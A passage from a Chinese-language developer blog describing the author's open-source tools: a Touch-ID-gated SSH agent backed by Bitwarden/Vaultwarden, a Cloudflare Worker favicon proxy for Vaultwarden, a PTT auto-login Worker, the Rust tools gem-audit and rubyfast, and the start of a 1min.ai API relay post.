mas install <id> 只能重裝同一個 Apple ID 已經買過的 App，mas 本身不處理登入，重灌後得先在 App Store.app 裡登入帳號，它才抓得到東西。setapp、navicat-premium 這類裝好還要手動登入訂閱或輸入序號，Brewfile 只負責把 App 本體裝上。自己的 tap（sigilo、rubyfast）放在 GitHub，重灌新機時要先確認網路跟 DNS 正常，brew tap 才抓得到 formula。

最容易漏掉的其實是 dotfiles：.zshrc、.zimrc、.gitconfig、.gitignore_global、Ghostty 的 config.ghostty，這些設定檔完全不在 brew bundle 的管理範圍內，得另外用 git 版控或 chezmoi / stow 這類工具備份，不然軟體裝完，這些細部設定還是一片空白。Ghostty 的 font-family 要填 JetBrainsMono Nerd Font，跟 ~/Library/Fonts 裡實際的字體家族名稱對上，字型才吃得到。

收尾

重灌機器最花時間的往往不是裝系統，是把環境調回原本習慣的樣子。有了 Brewfile，這件事變成一個指令的事，dotfiles 另外顧好，剩下的細節就不多了。清單也會隨著實際使用調整，之後重灌前先跑一次 brew bundle dump 更新，永遠是當下這台機器最新的狀態。

tapwarden：金鑰放 Bitwarden 或自架 Vaultwarden，簽 SSH 一樣要 Touch ID

2026-07-05T00:00:00+08:00

自己平常簽 SSH、簽 git commit 用的是 1Password 的 agent，金鑰放進 1Password 的 vault，每次要簽章都跳一次 Touch ID，體驗很好。剛好 1Password 到期，想說乾脆整個密碼管理都換成自架的 Vaultwarden，SSH 簽章這塊也得跟著搬過去。

Bitwarden 官方沒有對應的 agent。網路上找得到的替代方案（vault-conductor、bw-agent 這類）能從 Secrets Manager 或 secure notes 撈金鑰，但少了 1Password 那個「每次簽章都要按一下」的關卡：同一個使用者跑的程式，只要能連上 agent 的 socket，就能靜靜簽過去，不會有任何提示。

於是寫了 tapwarden：SSH agent 本體，金鑰來源是 Bitwarden Secrets Manager 或自架的 Vaultwarden，每一次簽章都會跳出 Touch ID 提示，金鑰只存在記憶體，從不落地。

現有選項各缺一角

README 裡的比較表格說得很直白：

	金鑰來源	每次簽章都要驗證
1Password agent	1Password vault	✅ Touch ID
Bitwarden GUI agent	個人 vault	❌ 手動解鎖一次就好
vault-conductor / bw-agent	Secrets Manager / secure notes	❌ 靜默簽章
tapwarden	Secrets Manager 或 Vaultwarden（可限縮範圍）	✅ 每次簽章都要 Touch ID

tapwarden 想要的東西，其他選項都只能給一半：金鑰的存取權限要收得夠小，環境裡的憑證只能讀到你授權的那幾把 SSH 金鑰（一個只綁定單一專案的 BWS machine token，或是一個除了金鑰什麼都沒有的 Vaultwarden 帳號），不是你整個密碼庫；而且每一次要簽章，都得有人真的在電腦前面按一下 Touch ID，就算是同一個使用者跑的程式碰到 agent 的 socket，也沒辦法靜默簽過去。

金鑰從哪來：兩種後端

Bitwarden Secrets Manager 是官方產品，雲端版或自架版都支援：在 web vault 開通 Secrets Manager，建立 project，一把 SSH 金鑰對應一個 secret，再開一個只讀該 project 的 machine account，拿到 access token。設定檔裡只填 secret 的 UUID 和「哪個環境變數放 token」，token 本身永遠不會寫進設定檔。

Vaultwarden 沒有做 Secrets Manager，那是 Bitwarden 專有授權的功能，所以 tapwarden 對 Vaultwarden 走另一條路：讀「SSH 金鑰」類型的 vault item（cipher type 5），從一個只放金鑰、什麼都不做的專用帳號讀。伺服器端要加 EXPERIMENTAL_CLIENT_FEATURE_FLAGS=ssh-key-vault-item 這個 flag 才能建立這類 item。設定這條路徑不用手動寫 YAML，跑 tapwarden setup 就好：它會幫你登入一次、列出可選的金鑰、寫好設定檔，預設把憑證存進 macOS Keychain，之後每次 agent 要讀這組憑證，也一樣要過 Touch ID。想留在 CI 或 Linux 上跑的話，setup 也可以選擇把憑證留在環境變數。

怎麼授權：Touch ID 或 FIDO2 安全金鑰

授權因子可以從 Touch ID 換成 FIDO2 安全金鑰（YubiKey 之類），在設定裡選 factor: touch_id（預設）或 factor: yubikey，兩者是二選一，不能同時開。YubiKey 扮演的角色跟 Touch ID 一樣：每次簽章都要有人真的去碰一下那把金鑰。

註冊用 tapwarden register-yubikey 跑一次：插上金鑰、輸入 PIN（如果金鑰有設）、碰一下，它會印出 credential ID 和 base64 的公鑰，自己貼進設定檔。PIN 只有註冊時要，之後簽章只需要碰。註冊和簽章的時候都只能插一把 FIDO2 金鑰。另外 v0.2.0 建立的設定檔要重新註冊一次，才能啟用對 assertion 的密碼學驗證。

要注意這不會讓它變成跨平台 —— FIDO2 這塊的實作是綁 macOS API 的，換成 YubiKey 一樣只能在 macOS 上跑。

背景常駐與 launchd 的小地雷

tapwarden start 把自己裝成 LaunchAgent，開機自動啟動、crash 會重啟，指令印出 socket 路徑，~/.ssh/config 裡的 IdentityAgent 指過去就不用管了：

Host *
  IdentityAgent <tapwarden socket-path 的輸出>

ssh-add -L 列公鑰不會跳提示，實際 ssh 連線簽章才會跳 Touch ID。

這裡有一個踩過的坑：launchd 啟動的程式看不到你 shell 裡 export 的環境變數。如果設定走的是環境變數這條路（BWS backend，或 Vaultwarden 選了 credentials: env），背景執行的 agent 讀不到那些變數，直接會失敗。解法有幾個：BWS backend 可以用 tapwarden store-token，把 access token 一次存進 macOS Keychain，之後讀取一樣要過 Touch ID，背景 agent 就不必依賴 shell 環境；Vaultwarden 那邊換成 credentials: keychain（tapwarden setup 會幫你設好）；想先確認問題出在哪，用 tapwarden start --fg 在有 export 過的 shell 裡跑一次；真的想留在環境變數，就自己去 LaunchAgent 的 plist 裡加 EnvironmentVariables。踩過一次才知道這是背景服務常見的坑，不是 tapwarden 特有的問題。

出問題的時候 tapwarden doctor 會直接告訴你卡在哪一關：它會檢查設定檔、憑證讀不讀得到、Touch ID／YubiKey 有沒有偵測到、LaunchAgent 狀態、socket 路徑、~/.ssh/config 有沒有接上，任何一項失敗就以非零 exit code 結束。加 --check-backend 會多做一步，實際去後端把每一把設定好的金鑰抓一次，等於端到端驗證 —— 代價是這個模式需要後端憑證真的可用。

指令一覽

前面提過的和沒提過的都收在這裡，當作速查表：

指令	做什麼
`tapwarden setup`	互動式設定 Vaultwarden，登入一次、列出金鑰、寫好設定檔
`tapwarden start`	裝成 LaunchAgent 背景常駐，`--fg` 改成前景跑
`tapwarden stop`	停掉 agent，但 LaunchAgent 定義保留，之後還能再啟動
`tapwarden socket-path`	印出 agent socket 路徑，填進 `~/.ssh/config` 用的
`tapwarden doctor`	唯讀診斷，`--check-backend` 會實際去後端抓一次金鑰
`tapwarden logs`	看 `~/Library/Logs/tapwarden.log` 的最後 50 行
`tapwarden store-token`	把 BWS access token 存進 Keychain，僅 BWS backend 適用
`tapwarden register-yubikey`	註冊 FIDO2 安全金鑰當作授權因子
`tapwarden uninstall`	停掉 agent 並移除 LaunchAgent plist

stop 和 uninstall 差在前者只是暫停、plist 還在，後者會把 ~/Library/LaunchAgents/com.tapwarden.agent.plist 一起刪掉，要再用得重裝一次。

socket 路徑不是固定的，會落在 $XDG_RUNTIME_DIR/tapwarden 或一個帶 uid 後綴的暫存目錄下，依系統設定而定，所以 ~/.ssh/config 裡請照 socket-path 印出來的填，不要自己猜。

簽署二進位檔案

沒簽署的 binary 沒有穩定的 code identity，結果就是每次重新編譯，macOS 的 Keychain 都會當成新程式重新問一次授權。免費的解法是自己開一張 self-signed 的 code signing 憑證，每次 build 完簽一下：

codesign -s tapwarden-dev --force target/release/tapwarden

要做到 distribution 等級（Developer ID + 公證，Gatekeeper 和系統層級的 keychain ACL 都要靠這個）需要付費的 Apple Developer 帳號，目前還在 roadmap 上，還沒做。

安全模型裡在意的細節

grace 模式（簽過一次之後，同一把金鑰在 grace_seconds 內免提示）只影響簽章本身，不會連帶讓 Keychain 裡的 Vaultwarden 憑證跳過 Touch ID，這兩個關卡是分開算的，approval 不會互相借用。

Vaultwarden 那邊的加密實作（EncString 用 AES-256-CBC + HMAC-SHA256，KDF 推導）是照著官方 Bitwarden SDK 的原始碼和它公開的測試向量對著寫的，MAC 一定是在 decrypt 之前、用 constant-time 比對驗證完才繼續，避免 timing side channel。專案本身沒有依賴官方 SDK，REST 呼叫直接建在 reqwest 和 rustls 上，為的是讓依賴樹小一點、好稽核（cargo audit 目前乾淨，唯一忽略的 advisory 也寫在 .cargo/audit.toml 裡註明原因）。

Agent 的 socket 放在每個使用者專屬、權限 0700 的目錄下，會檢查有沒有被 symlink 攻擊，bind 之前也會先收緊 umask。

現況

目前是能用的階段：Touch ID 已經在沒簽署的 binary 上驗證過可以跳出提示，兩種後端都對著官方 SDK 的協定和測試向量實作完，也自己做過一輪 security review。BWS access token 收進系統 keystore 這件事後來也做掉了，就是上面的 store-token。

macOS 是硬需求 —— 授權因子雖然多了 FIDO2 安全金鑰這個選項，但那塊實作一樣綁 macOS API，所以 Linux 支援還在 roadmap 上，跟 Developer ID 簽署加公證、上架 Homebrew 排在一起。

1Password 那套 Touch ID 體驗確實很好用，換過來之後才發現，這其實才是我一直想要的：金鑰收在自己控制的 Vaultwarden 裡，簽章一樣得先過 Touch ID 才放行。如果你也想把密碼管理整個搬到自架 Vaultwarden，又捨不得 1Password 那種簽章體驗，這是一個選項。

專案原始碼：GitHub

用 Cloudflare Workers 幫 Vaultwarden 代理 Favicon，伺服器 IP 不外洩

2026-07-04T00:00:00+08:00

自建 Vaultwarden 的人大概都沒細想過一件事：那些帳號旁邊漂亮的網站 icon 是怎麼來的。預設的 ICON_SERVICE=internal 其實是伺服器自己出去抓，你存了多少個網域，伺服器就對多少個網域發過一次請求，等於把伺服器的對外 IP 送給每一個存過密碼的網站。內建的替代方案 duckduckgo、google、bitwarden 不會洩漏伺服器 IP，但換成把使用者查詢的網域清單整批交給那些第三方。

自己也在跑 Vaultwarden，想了想這兩個選項都不滿意，於是寫了 vaultwarden-icons-worker：圖示代理自己架，架在 Cloudflare 的邊緣節點上，伺服器和客戶端的 IP 都不會被目標網站看到。

洩漏的路徑，和 Worker 怎麼擋

Vaultwarden 原本的流程很直接：伺服器看到一筆帳號要顯示 icon，就自己發 request 去對方網站抓 favicon。這裡有兩個資訊會外流：

伺服器的 egress IP，暴露給每一個存過密碼的網站
如果換成 duckduckgo／google／bitwarden，變成把整批網域查詢丟給第三方

我的做法是插入一層代理，而且刻意不是「重新導向」而是「代理抓取」：

Client (web vault / 瀏覽器套件 / App)
   │  GET /icons/github.com/icon.png
   ▼
Vaultwarden ──302/307 redirect──▶ https://vaultwarden-icons.example.com/github.com
   │  （伺服器本身完全不發出對外請求）
   ▼  client 跟著 redirect 走
Cloudflare Worker ──fetch──▶ github.com（解析 <link rel=icon> + /favicon.ico）
   │  回傳的是圖片的 bytes，不是第二次 redirect
   ▼                                 ▲ 目標網站只看得到 Cloudflare 的 IP
Client 顯示 icon

關鍵在最後一步：Worker 是把抓到的圖片內容直接回傳給 client，而不是再轉一次導向讓 client 自己去對方網站抓。這樣目標網站從頭到尾只看得到 Cloudflare 的 IP，伺服器和使用者的 IP 都沒有曝光。它不是 forward proxy（不能當 HTTPS_PROXY 用，Cloudflare Worker 做不到那種層級的轉發），單純是換掉 Vaultwarden 的 ICON_SERVICE 指向。

怎麼抓圖示

對 /<domain> 的請求，Worker 走四個步驟：

驗證 host（src/ssrf.ts），擋掉 IP 字面量、localhost、單一標籤網域、.local／.internal 這類保留 TLD，還有自訂的封鎖清單。Worker 是公開端點，每次都要重新驗證，不能假設呼叫端已經過濾過。
找候選圖示（src/favicon.ts），抓目標網站的 HTML，用 HTMLRewriter 解析 <link rel="icon">／apple-touch-icon，按宣告的尺寸排序，找不到就 fallback 到 /favicon.ico。每一個解析出來的 href 都要再過一次 SSRF 驗證，不會因為是網站自己說的連結就跳過檢查。
驗證回應內容（src/sanitize.ts），點陣圖直接回傳；SVG 用 svg-hush 編譯成 WASM 做消毒（跟 Vaultwarden 內部用的是同一套 allowlist 邏輯），再包一層嚴格的 Content-Security-Policy sandbox 送出去，同時限制檔案大小上限與逾時秒數。
邊緣快取，用 Cloudflare 的 Cache API 存下結果並附上 Cache-Control。找不到圖示或 host 被擋下時，回傳一個可被快取的 404，讓各家 client 顯示自己內建的預設圖示，而不是硬塞一張來路不明或空白的圖。

SVG 那一步值得多說一句：favicon 來源是不受信任的外部內容，SVG 又能夾帶 script 和外部參照，直接回傳給瀏覽器等於幫使用者開了一個小型 XSS 入口。用 WASM 消毒加上 sandbox CSP 是防禦縱深，兩層都要中才會出事。

設定

wrangler.jsonc 的 vars 裡可調：

變數	預設值	說明
`MAX_ICON_BYTES`	`524288`	超過這個大小的 favicon 直接拒絕
`FETCH_TIMEOUT_MS`	`5000`	對外抓取的逾時（毫秒）
`CACHE_TTL_SECONDS`	`604800`	邊緣快取存活時間（預設 7 天）
`BLOCKED_SUFFIXES`	`""`	額外要擋的網域後綴，逗號分隔
`FALLBACK_ICON_SERVICE`	`""`	預設關閉。自家解析失敗時，由 Worker（不是 client）向第三方要圖：`duckduckgo`、`google`、`bitwarden`，或自訂 `https://…/{}`

FALLBACK_ICON_SERVICE 這個設計挺務實：預設不用任何第三方，但保留一個逃生口。就算開了，也是 Worker 在伺服器端幫你去查，client 的 IP 一樣不會外流，犧牲的只是「這個網域曾經被查過圖示」這件事本身的隱私。

部署

npm install
npx wrangler login

# 想綁自訂網域的話，在 wrangler.jsonc 加：
#   "routes": [{ "pattern": "vaultwarden-icons.example.com", "custom_domain": true }]

npm run deploy

部署完，Vaultwarden 端只要改環境變數，完全不用碰程式碼：

ICON_SERVICE=https://vaultwarden-icons.example.com/{}   # 恰好一個 {} 預留位置
ICON_REDIRECT_CODE=307                                   # 想讓 client 快取這個 redirect 就用 308

Vaultwarden 會自動根據這個 URL 前綴推導出 CSP 的 img-src，web vault 不用再額外設定就能正常載入圖示。

安全設計

專案 README 把安全模型攤開講：只接受公開、以名稱解析的 http(s) host，IP 字面量與內部／保留網域在進入端與每個解析出來的 icon href 都會再擋一次；SVG 用 svg-hush（WASM）去除 script 與外部參照，再包 default-src 'none'; sandbox 的 CSP，兩層防禦；端點本身是公開的（client 透過 redirect 到達，沒辦法要求帶認證標頭），回應只允許圖片型別並限制大小，README 也建議在 Worker route 上另外掛一條 Cloudflare WAF rate-limit 規則擋濫用。

它把能力邊界說得很白：能藏住伺服器和 client 的 IP，也能不依賴第三方圖示服務，但不能取代真正的 forward proxy。Vaultwarden 內部的 fetcher 如果要走 HTTPS_PROXY，還是得靠 VPS、Tor 或 WARP 那類真正的代理，Cloudflare Worker 在這個角色上幫不上忙。

收尾

我的取捨很清楚：不想把伺服器 IP 送給每個存過密碼的網站，也不想把查詢過的網域清單交給 DuckDuckGo 或 Google，所以自己在邊緣節點跑一層薄薄的代理。整個服務只靠 wrangler.jsonc 的環境變數設定，不需要 KV 或 D1，Vaultwarden 端也只是改一行 ICON_SERVICE，不用動到程式碼。

對其他自建 Vaultwarden 的人來說，應該也是目前 favicon 隱私問題裡最省事的解法，歡迎直接拿去用。

專案原始碼：GitHub

用 MTools BLE 一鍵升級 GAT562 的 Meshtastic 韌體

2026-06-02T00:00:00+08:00

GAT562 是基於 nRF52 的 Meshtastic 節點，韌體升級走 Legacy DFU。傳統做法是去 Meshtastic 官網翻對應的 UF2 / Zip，再開 nRF Connect 配對、進 DFU mode、推 package。每次升級重複一遍，挺煩。

MTools BLE 把整個流程壓成一鍵，從打開 App 到升完大概 3 分鐘。

升級步驟

開 MTools BLE，進「工具 → Meshtastic®」
從清單裡選 GAT562，App 自己會抓對應的韌體
用藍牙連上你的 GAT562
點「開始上傳固件」，等它跑完

裝置會自己切到 Legacy DFU mode，傳完重啟就好了。UF2 不用準備，region 也不用記。

下載

iOS：App Store
Android：Google Play

MTools 原本是個 RFID / BLE 通用工具，Meshtastic 是後來才加進去的功能模組。其他 nRF52 系列的 Meshtastic 板子也吃，操作流程都一樣。

我手上的 GAT562 拿這個 App 升過幾次，目前都沒中過。除非有特別理由要走電腦端 DFU，不然手機開一下就好。

用 Cloudflare Workers 自動簽到 PTT 並推送到 Telegram

2026-05-06T00:00:00+08:00

PTT 的鄉民大概都遇過：太久沒登入帳號就被砍。社群早期有 PTTAutoSign 這類工具，跑在 VPS 或 Raspberry Pi 上排程登入。可是為了一個每天只跑一次的小腳本去顧一台機器，實在不太划算。

ptt-autosign-worker 把這件事搬到 Cloudflare Workers 上：每天 02:30 UTC 由 Cron Trigger 觸發，自動登入 PTT、抓登入資訊、丟到 Telegram。不用 VPS，不用 Docker，crontab 也省了，Free plan 就跑得起來。

為什麼是 Cloudflare Workers

原版的 PTTAutoSign 是 Python 寫的，吃 PyPtt 這類函式庫，內部會起一個 terminal emulator 處理 PTT 的 ANSI escape code 和狀態切換。要搬到 Workers 有幾個阻礙：Workers 沒有 Node.js 完整 runtime，nodejs_compat 也包不到 terminal emulator；相依太重的話 cold start 會明顯變慢；而且每次執行有 wall-clock 上限，Free plan 30 秒就要結束。

所以這版乾脆不用 terminal emulator，直接打 PTT 的 WebSocket gateway (wss://ws.ptt.cc/bbs/)，靠一個小型的 login state machine 推進流程。整個 Worker 零 runtime 依賴，部署檔很小，cold start 幾乎感覺不到。

它做了什麼

每天排程觸發後，Worker 會對 PTT_ACCOUNTS 中每個帳號執行：

連上 wss://ws.ptt.cc/bbs/
送出 username,\rpassword\r（後面那個逗號是 PTT 的 UTF-8 協商觸發字元）
走過 login state machine，處理重複登入踢人、any-key 提示等
進入 T → Q → username 抓「登入次數」、「信箱狀況」，並從歡迎橫幅抓「上次登入 IP」
送 G\rY\r 登出
把結果丟到 Telegram

成功的訊息長這樣：

✅ PTT alice 已成功簽到
📆 已登入 1234 天
📫 信箱中已無新信件
🌐 上次登入來源 172.69.194.125
#ptt #20260504

失敗時會帶上 reason，方便排查：

❌ PTT alice 簽到失敗
原因：wrong_password
#ptt #20260504

Big5 與 UTF-8 並行解碼

PTT 的編碼是個老問題：使用者可以切 Big5 或 UTF-8 模式，連登入過程中都可能切換。傳統做法是先猜編碼、解錯了再 fallback，但這在串流式的 WebSocket 上特別麻煩，狀態機可能因為解錯字就錯過某個關鍵 prompt。

這版的解法很土砲：直接開兩個 TextDecoder，Big5 跟 UTF-8 並行解碼，state machine 對兩條解碼結果各比對一次，誰先看到 prompt 就誰過。PTT 當下用什麼編碼都能正確推進。

Free Plan 的時間預算

Free plan 的 scheduled handler 有 30 秒 wall-clock 上限。每個帳號的時間預算抓起來大概是 10–17 秒，最壞情況 22 秒。所以 2 個帳號剛好塞進 Free plan，3 個以上比較建議升 Paid plan。

PTT 那邊改了 prompt 文字導致狀態機卡住的話，超過 15 秒會直接 timeout，不會把整個 handler 拖死。

路由

Worker 開了三個路由方便操作和除錯：

Route	用途	認證
`GET /spike`	開 WS 連到 ws.ptt.cc，把歡迎橫幅原文 dump 出來	無
`GET /run?secret=<RUN_TOKEN>`	手動觸發一次（等同 cron）	RUN_TOKEN
`scheduled()`	每天 02:30 UTC	Cloudflare Cron Trigger

/spike 在 PTT 改版時特別有用，直接看橫幅原文比較容易判斷 prompt 字串怎麼變。/run 則是部署後的 smoke test 入口：

curl "https://ptt-autosign.<sub>.workers.dev/run?secret=<RUN_TOKEN>" | jq

部署

不需要 KV，也不需要 D1，純粹靠 secrets：

npm install
npx wrangler login
npx wrangler deploy

npx wrangler secret put TELEGRAM_BOT_TOKEN
npx wrangler secret put TELEGRAM_CHAT_ID
npx wrangler secret put PTT_ACCOUNTS    # JSON: [{"id":"alice","password":"..."}]
npx wrangler secret put RUN_TOKEN       # 任意亂數字串

PTT_ACCOUNTS 是 JSON 陣列，一次部署就能幫一整批帳號簽到。

已知的軟肋

幾個 PTT 改版時可能會踩到的點，README 也直接列了出來：

getUser() 用的 regex 登入次數》(\d+) 和 信箱[^》]*》 是根據經典版 user card 推測的，PTT 換 layout 就抓不到。不過抓不到只會讓 Telegram 訊息少幾行，登入本身不會失敗。

lastLoginIp 同樣是 best-effort。第一次登入沒有 IP（PTT 顯示「歡迎您第一次拜訪本站」），那行 🌐 會直接省掉。另外，這裡抓到的 IP 是 PTT 看到的入站 IP，對 Cloudflare Workers 來說會是 CF 的 egress IP（172.69.x.x 那類），不是你家的對外 IP。

Cron 精準度方面，Cloudflare 的 cron 會在指定時間的數秒內觸發，沒有保證準時。在意被偵測規律的話，可以在 scheduled() 裡自己加 jitter。

收尾

把每天跑一次的小工作搬到 Cloudflare Workers 上挺合理：cron trigger、secrets 管理都內建，不用自己顧伺服器，Free plan 足夠。比起再開一台 VPS 或佔用家裡的 Raspberry Pi，維運成本基本上是零。

對 PTTAutoSign 的使用者來說，這個 port 保留了原版的核心行為（登入 → 抓資訊 → 推 Telegram），但所有 runtime 依賴都拿掉了。整個專案只有三個 TypeScript 檔案：index.ts、ptt.ts、telegram.ts。要客製化或加新功能都不難。

專案原始碼：GitHub

gem-audit — 用 Rust 打造的 Ruby 相依套件安全稽核工具

2026-04-15T00:00:00+08:00

Ruby 專案要做相依套件安全稽核，大多數人第一個想到的就是 bundler-audit，1.27 億次下載算是 Ruby 生態系的標配。不過用久了會發現幾個痛點：要完整的 Ruby 執行環境、要系統 git、啟動慢，而且 exit code 只有兩種，沒辦法分「有漏洞」跟「指令掛了」。

gem-audit 是 Rust 重寫的版本，編譯成單一 binary，Ruby、Bundler、git 都不用，掃描速度快了 15 到 41 倍。

與 bundler-audit 的比較

兩者的差異：

	gem-audit	bundler-audit
語言	Rust	Ruby
執行環境	單一 binary，零依賴	需要 Ruby + Bundler + git
授權	MIT	GPL-3.0
輸出格式	text、json	text、json、junit
Ruby 版本掃描	有（含 JRuby、mRuby）	無
自動修復	`--fix` 內建	需額外安裝 bundler-audit-fix
Exit codes	4 種（正常/漏洞/錯誤/資料庫過期）	2 種（正常/異常）
設定檔	`.gem-audit.yml`（相容 `.bundler-audit.yml`）	`.bundler-audit.yml`
Inline 忽略理由	支援 YAML 註解	不支援
資料庫管理	內建 git 操作（gix）	依賴系統 git

效能差異

在 Apple Silicon 上的實測數據：

操作	gem-audit	bundler-audit	倍數
掃描（有漏洞）	7.0 ms	216.5 ms	31x
掃描（無漏洞）	16.6 ms	250.2 ms	15x
啟動時間	4.6 ms	188.4 ms	41x

bundler-audit 的啟動成本來自 Ruby 直譯器、gem 載入和 Bundler 的 LockfileParser。gem-audit 編譯成原生碼，啟動幾乎沒額外開銷。

為什麼 bundler-audit 需要 git

bundler-audit 的漏洞資料庫 ruby-advisory-db 是一個 git repository。下載和更新都呼叫系統的 git 指令。所以在精簡的 Docker image 或沒裝 git 的 CI 環境中，得另外把 git 補上才能用。

gem-audit 改用 Rust 的 gix 直接處理 git 操作，系統沒 git 也照跑。

功能介紹

漏洞掃描

掃描當前目錄的 Gemfile.lock：

gem-audit

輸出會列出每個有問題的套件、CVE 編號、嚴重等級和修復建議：

Name: rails
Version: 5.2.0
Advisory: CVE-2023-1234
Criticality: High
URL: https://...
Title: Remote Code Execution
Solution: Update to >= 6.0.0

Ruby 版本掃描

bundler-audit 沒有這個功能。gem-audit 會額外檢查 Gemfile.lock 裡記錄的 Ruby 版本本身是否有已知漏洞，CRuby、JRuby、mRuby 都涵蓋。

不安全來源偵測

Gemfile.lock 裡如果有 http:// 或 git:// 這種未加密來源，gem-audit 會發警告。

嚴重等級篩選

只想看高風險以上的：

gem-audit check --severity high

支援的等級：none、low、medium、high、critical。

自動修復

# 預覽修復內容
gem-audit check --fix --dry-run

# 直接修復
gem-audit check --fix

gem-audit 會產生對應的 bundle update 指令，並直接修補 Gemfile.lock。bundler-audit 本身沒有修復功能，得另外裝 bundler-audit-fix gem。

語意化 Exit Codes

Exit Code	意義
0	安全，無漏洞
1	發現漏洞
2	執行錯誤
3	資料庫過期

bundler-audit 只有 0 和 1，分不出「有漏洞」和「指令掛了」，CI 想做精準錯誤處理就不太順。

設定檔

.gem-audit.yml、bundler-audit 的 .bundler-audit.yml 都吃：

ignore:
  - CVE-2023-1234  # 已評估，不影響我們的使用情境
  - GHSA-xxxx-yyyy-zzzz

max_db_age_days: 7

忽略清單可以加行內註解，順手把為什麼忽略某個 CVE 寫下來。

懶得手動維護忽略清單的話，--write-ignore 會把目前偵測到的漏洞直接寫入設定檔：

gem-audit check --write-ignore

CI 整合

GitHub Actions

- uses: 7a6163/gem-audit-action@v1

Docker

docker run --rm -v $(pwd):/workspace ghcr.io/7a6163/gem-audit:latest check --update

嚴格模式

CI 上比較推薦的組合是 --strict + --fail-on-stale：

gem-audit check --update --max-db-age 1 --fail-on-stale --strict

資料庫超過一天沒更新、或有任何解析警告，pipeline 就會失敗。再加 --format json --output results.json 可以把結果存檔做後續分析。

從 bundler-audit 遷移

gem-audit 刻意維持向下相容：照吃 .bundler-audit.yml、用同一份 ruby-advisory-db、CLI 介面風格也一致。

基本上就是裝好 binary、把 CI 裡的 bundle-audit 換成 gem-audit。原本有 .bundler-audit.yml 的話，連設定檔都不用改。

收尾

CI 還在跑 bundler-audit 的 Ruby 專案，gem-audit 算是一個方便的替代品。最實際的差別其實不是速度，是不用 Ruby — multi-stage Docker build 或非 Ruby 的 CI runner 上會差很多。授權是 MIT，要嵌進商業專案也比 GPL-3.0 好處理。

rubyfast — 用 Rust 重寫的 Ruby 效能 Linter，比原版快 162 倍

2026-04-14T00:00:00+08:00

寫 Ruby 的人大概都認識 fasterer 這個 gem，會幫你找出常見的效能反模式。但專案越長越大之後，fasterer 自己的執行速度反而變成痛點。

rubyfast 是用 Rust 把 fasterer 重寫了一次，19 條偵測規則照搬，但速度差異很有感：2,235 個 Ruby 檔案，原本 34.1 秒，現在 0.21 秒，快了 162 倍。

為什麼要用 Rust 重寫

fasterer 的瓶頸在 Ruby 的 parser 和單執行緒架構。rubyfast 換掉了這兩件事：parser 改用 ruby-prism（Ruby 3.3+ 之後的官方 parser）解析 AST，掃描則交給 rayon 平行跑。順便 Ruby runtime 也不用了，一個 binary 就能執行。

能偵測什麼

rubyfast 支援 19 種效能反模式偵測，以下列出幾個常見的：

反模式	建議替代	可自動修復
`.shuffle.first`	`.sample`	是
`.select{}.first`	`.detect{}`	是
`.reverse.each`	`.reverse_each`	是
`.keys.each`	`.each_key`	是
`.map{}.flatten(1)`	`.flat_map{}`	是
`.gsub("x","y")`（單字元）	`.tr("x","y")`	是
`for x in arr`	`arr.each`	是
`.sort { \|a,b\| ... }`	`.sort_by`	否
`rescue NoMethodError`	`respond_to?`	否
getter/setter 方法	`attr_reader` / `attr_writer`	否

其中 8 種支援 --fix 自動修復。修補完會再 parse 一次確認沒語法錯，才把檔案寫回去。

安裝與使用

# 透過 Cargo 安裝
cargo install rubyfast

# 掃描目前目錄
rubyfast

# 掃描特定路徑
rubyfast path/to/file.rb
rubyfast path/to/directory

# 自動修復
rubyfast --fix .

也有 Docker image 可以直接使用：

docker run --rm -v $(pwd):/app ghcr.io/7a6163/rubyfast:latest

輸出格式

三種格式對應不同情境：

# 依檔案分組（預設）
rubyfast --format file .

# 依規則分組，附數量統計
rubyfast --format rule .

# 一行一個 offense，適合 CI / grep / reviewdog
rubyfast --format plain .

設定檔

支援 .rubyfast.yml 或 .fasterer.yml，可以停用特定規則或排除路徑：

speedups:
  shuffle_first_vs_sample: false

exclude_paths:
  - vendor/**
  - db/migrate/**

設定檔會自動往上層目錄搜尋，跟 .rubocop.yml 的行為一致。

Inline Disable

跟 RuboCop 類似，可以用註解在程式碼中局部停用規則：

# 單行停用
arr.shuffle.first # rubyfast:disable shuffle_first_vs_sample

# 下一行停用
# rubyfast:disable-next-line shuffle_first_vs_sample
arr.shuffle.first

# 區塊停用
# rubyfast:disable shuffle_first_vs_sample
arr.shuffle.first
# rubyfast:enable shuffle_first_vs_sample

也相容舊版 fasterer:disable 語法。

CI 整合

在 GitHub Actions 中可以搭配 rubyfast-action 使用：

- uses: 7a6163/rubyfast-action@v1

搭配 --format plain 輸出和 reviewdog，可以在 PR 上直接顯示 inline comments。

GitLab CI 也能透過 Docker image 整合。

幾個實作細節

修復是會互相位移的，所以多個 patch 會按 byte offset 反向排序再依序套用，免得後面的修補蓋掉前面的。byte → line 轉換用 binary search 查預先建好的 newline 陣列，O(log n)。掃描是 rayon 的 parallel iterator，每個檔案獨立 parse + 掃描。修復寫回前會再 parse 一次驗證語法。

收尾

Ruby 專案還在用 fasterer 的話，rubyfast 規則和設定檔都相容，可以直接抽換掉。多了自動修復功能。丟進 CI pipeline 也幾乎感覺不到等待時間。

用 Cloudflare Workers 打造 1min.ai API Relay

2026-04-12T00:00:00+08:00

1min.ai 是一個 AI 聚合平台，一個訂閱就能用 GPT、Claude、Mistral 等多家模型。可惜它的 API 格式跟 OpenAI 不完全相容，所以現成的工具和 SDK 多半沒辦法直接串。

1min-relay-worker 就是針對這件事的 workaround：跑在 Cloudflare Workers 上的中繼服務，把 1min.ai 的 API 包成 OpenAI API 格式。

為什麼需要 Relay

直接用 1min.ai 的原生 API 幾個痛點：

API 格式跟 OpenAI SDK 不相容，沒辦法直接用 openai 套件串
沒有內建的 Rate Limiting
Token 用量算不準

過 Relay 之後，把 base_url 指到自己的 Worker，原本熟的 OpenAI SDK 就可以直接打 1min.ai 的所有模型。

支援的功能

Chat Completions（Streaming、Vision）
Responses API（Structured Outputs，JSON Object / JSON Schema）
Image Generation（DALL-E 等）
Audio Transcription / Translation（Whisper）
動態模型列表：不用手動維護清單，Worker 會自己打 1min.ai API 拉最新可用的模型。兩層快取（記憶體 5 分鐘 + KV 1 小時），1min.ai 那邊上下架什麼，Relay 會自己跟上。

部署

前置需求

Node.js 18+
Wrangler CLI
Cloudflare 帳號（需啟用 Workers 和 KV）

快速開始

git clone https://github.com/7a6163/1min-relay-worker.git
cd 1min-relay-worker
npm install

建立 KV namespace：

wrangler kv:namespace create "RATE_LIMIT_STORE"
wrangler kv:namespace create "MODEL_CACHE"

把回傳的 namespace ID 填入 wrangler.jsonc，然後部署：

npm run deploy

使用方式

部署完成後，把 base_url 指向你的 Worker 即可：

from openai import OpenAI

client = OpenAI(
